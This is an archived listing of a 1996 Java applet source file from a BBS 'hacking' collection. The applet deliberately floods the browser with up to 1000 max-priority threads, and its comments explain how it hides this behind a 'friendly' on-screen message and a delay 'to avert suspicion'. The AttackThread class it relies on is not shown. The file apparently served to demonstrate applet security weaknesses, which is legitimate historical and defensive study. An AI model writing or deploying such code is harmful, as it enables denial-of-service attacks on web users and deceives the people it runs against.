home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / hacking / internet / hostilethreads.java < prev    next >
Encoding:
Java Source  |  1996-07-04  |  3.3 KB  |  116 lines

  1. /* HostileThreads.java by Mark D. LaDue */
  2.  
  3. /* February 20, 1996 */
  4.  
  5. /*  Copyright (c) 1996 Mark D. LaDue
  6.     You may study, use, modify, and distribute this example for any purpose.
  7.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  8.  
  9. /* This Java Applet tries inundate the browser with lots of wasteful
  10.    threads.  If that completes or fails, it then executes as cleanup
  11.    a more hostile action.  */ 
  12.  
  13. import java.awt.*;
  14. import java.applet.AudioClip;
  15. import java.net.*;
  16.  
  17. public class HostileThreads extends java.applet.Applet implements Runnable {
  18.  
  19. //  Just a font to paint strings to the applet window 
  20.     Font bigFont = new Font("TimesRoman", Font.BOLD, 36);
  21.  
  22.     Thread controller = null;
  23.     Thread wasteResources[] = new Thread[1000];
  24.  
  25. //  Used to read in a parameter that makes the thread sleep for a
  26. //  specified number of seconds taking effect
  27.     int delay;
  28.  
  29. //  Netscape will die barking! 
  30.     AudioClip bark;
  31.  
  32.     public void init() {
  33.         setBackground(Color.white);
  34.         bark = getAudioClip(getCodeBase(),"Sounds/bark.au");
  35.  
  36. //  Determine how many seconds the thread should sleep before kicking in
  37.         String str = getParameter("wait");
  38.         if (str == null)
  39.             delay = 0;
  40.         else delay = (1000)*(Integer.parseInt(str));
  41.         try {
  42.             for (int i = 0; i < 1000; i++) {
  43.                 wasteResources[i] = null;
  44.             }
  45.         }
  46.         catch (OutOfMemoryError o) {}
  47.         finally {
  48.             AttackThread q = new AttackThread();
  49.             Thread killer = new Thread(q);
  50.             killer.setPriority(Thread.MAX_PRIORITY);
  51.             killer.start();
  52.         }
  53.     }
  54.  
  55.  
  56. /*  Create and start the main thread in the standard way */
  57.  
  58.     public void start() {
  59.         if (controller == null) {
  60.         controller = new Thread(this);
  61.         controller.setPriority(Thread.MAX_PRIORITY);
  62.         controller.start();
  63.         }
  64.     }
  65.  
  66.     public void stop() {}
  67.  
  68.  
  69. /*  Create lots of threads which do lots of wasteful stuff */
  70.  
  71.     public void run() {
  72.  
  73. //  Let the applet tell its lie
  74.         repaint();
  75.  
  76. //  Let the applet sleep for a while to avert suspicion
  77.         try {controller.sleep(delay);}
  78.         catch(InterruptedException e) {}
  79.  
  80. //  Make it bark when it awakens and goes to work
  81.         bark.loop();
  82.         try {controller.sleep(3000);}
  83.         catch (InterruptedException e) {}
  84.         try {
  85.             for (int i = 0; i < 1000; i++) {
  86.                 if (wasteResources[i] == null) {
  87.                 AttackThread a = new AttackThread(); 
  88.                 wasteResources[i] = new Thread(a);
  89.                 wasteResources[i].setPriority(Thread.MAX_PRIORITY);
  90.                 wasteResources[i].start();
  91.                 }
  92.             } 
  93.         }
  94.         catch (OutOfMemoryError o) {}
  95.         finally {
  96.             AttackThread q = new AttackThread();
  97.             Thread killer = new Thread(q);
  98.             killer.setPriority(Thread.MAX_PRIORITY);
  99.             killer.start();
  100.         } 
  101.     }
  102.  
  103. /*  Paints the applet's lie */
  104.  
  105.     public void update(Graphics g) {
  106.         paint(g);
  107.     }
  108.  
  109.     public void paint(Graphics g) {
  110.     g.setColor(Color.blue);
  111.     g.setFont(bigFont);
  112.     g.drawString("I'm A Friendly Applet!", 10, 200);
  113.     }
  114. }
  115.  
  116.